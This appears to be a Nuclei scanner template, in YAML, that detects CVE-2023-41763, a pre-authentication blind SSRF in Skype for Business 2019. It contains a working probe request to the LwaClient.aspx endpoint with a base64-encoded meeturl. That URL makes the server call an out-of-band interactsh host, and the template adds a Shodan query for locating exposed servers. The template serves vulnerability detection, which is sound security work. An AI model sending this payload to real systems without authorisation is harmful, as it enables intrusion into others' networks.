40 lines
1.2 KiB
YAML
40 lines
1.2 KiB
YAML
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id: CVE-2023-41763
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info:
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name: Skype for Business 2019 (SfB) - Blind Server-side Request Forgery
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author: hateshape
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severity: medium
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description: |
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Skype Pre-Auth Server-side Request Forgery (SSRF) vulnerability
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reference:
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- https://frycos.github.io/vulns4free/2022/09/26/skype-audit-part2.html
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41763
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- https://nvd.nist.gov/vuln/detail/CVE-2023-41763
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metadata:
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verified: true
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max-request: 1
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shodan-query: html:"Skype for Business"
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tags: cve,cve2023,skype,blind-ssrf,oast,ssrf
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variables:
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ssrfpayload: "http://{{interactsh-url}}/?id={{rand_base(3)}}%25{1337*1337}#.xx//"
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http:
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- raw:
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- |
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GET /lwa/Webpages/LwaClient.aspx?meeturl={{base64(ssrfpayload)}} HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: word
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part: body
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words:
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- 'Skype'
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# digest: 4a0a00473045022100a42b219989026ae5e8bc50de53b1bb91ad1057fd93ad618e88e81a58346ea14f0220154b2136244092cc426f8b38468a754ee8e3da0abbbb746138af19045e6f37a7:922c64590222798bb761d5b6d8e72950
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